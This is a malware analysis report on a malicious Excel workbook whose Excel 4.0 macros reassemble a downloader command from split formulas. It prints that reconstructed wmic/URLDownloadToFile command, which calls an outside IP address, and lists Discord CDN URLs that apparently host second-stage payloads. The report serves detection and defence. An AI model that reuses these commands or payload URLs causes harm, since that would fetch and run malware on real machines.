Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 7bff3abeb910b317…

MALICIOUS

Office (OOXML) / .XLSX

91.8 KB Created: 2021-10-27 10:31:49 UTC Authoring application: Microsoft Excel 12.0000
MD5: 26741b0c984210423c43f83af17cea3a SHA-1: 9097cf9e75c104e5ea095db7be0e670b32ef80ea SHA-256: 7bff3abeb910b3170093a8e052a84952400d0b46d9a45c5594b99f1bc03e0f39
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros that are designed to download and execute a payload. The macro formulas reconstruct a command that includes a URL and a path for saving a file, indicating an attempt to fetch and run a second-stage payload. The reconstructed command is 'wmic rocess callcrmsha C:\PrgramDa\ogwUd.rt; urlmoLDonloadToileJJChttp://158.10.85.8080Q25VWUFL5CMQ7JQPETG3CCX72Z4R25PDC:ProgmDatzHa.txt'. This behavior strongly suggests the file acts as a downloader.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks. The macro sheet is stored as XLSB/BIFF12 binary content, which many XML-only OOXML scanners miss.
  • XLM payload reassembled from CHAR()/split formulas critical OOXML_XLM_REASSEMBLED_PAYLOAD
    An Excel 4.0 macro sheet builds its payload inside the formula token stream by concatenating per-character CHAR() calls and string fragments, so no WinAPI name, shell command, or URL is ever contiguous in the .bin for a literal-bytes scan to find. Reassembling the formulas recovered download/execute API names, LOLBin commands (regsvr32/rundll32/mshta/wmic/powershell), or a payload URL — the de-obfuscated download-and-run kill chain.
  • URL reconstructed from XLM cell array (3 URLs) critical OOXML_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across individual numeric cells (one ASCII charcode per cell) or inside an embedded HTA that uses VBScript Chr()/&-concat obfuscation. The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF12 record stream of every worksheet and macrosheet part and decoding RK/inline-string cells in both row-major and column-major order.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://158.10.85.8080Q25VWUFL5CMQ7JQPETG3CCX72Z4R25PDC:ProgmDatzHa.txt
    • https://cdn.discordapp.com/attachments/912720368844824620/913069669341069452/jPzSCuyellowfacebrownietacohead.ogg
    • https://cdn.discordapp.com/attachments/912720368844824620/913069632129212466/reSCeFOYjZtCtkOyellowfacebrownietacohead.ogg
    • https://cdn.discordapp.com/attachments/912720368844824620/913069652077326346/KftJXyrZQyellowfacebrownietacohead.ogg

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.bin
c0a4c98212cd044668779254bdfda60affc9975145d89f19a55e63c870cf6b5b		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.bin 6786 bytes

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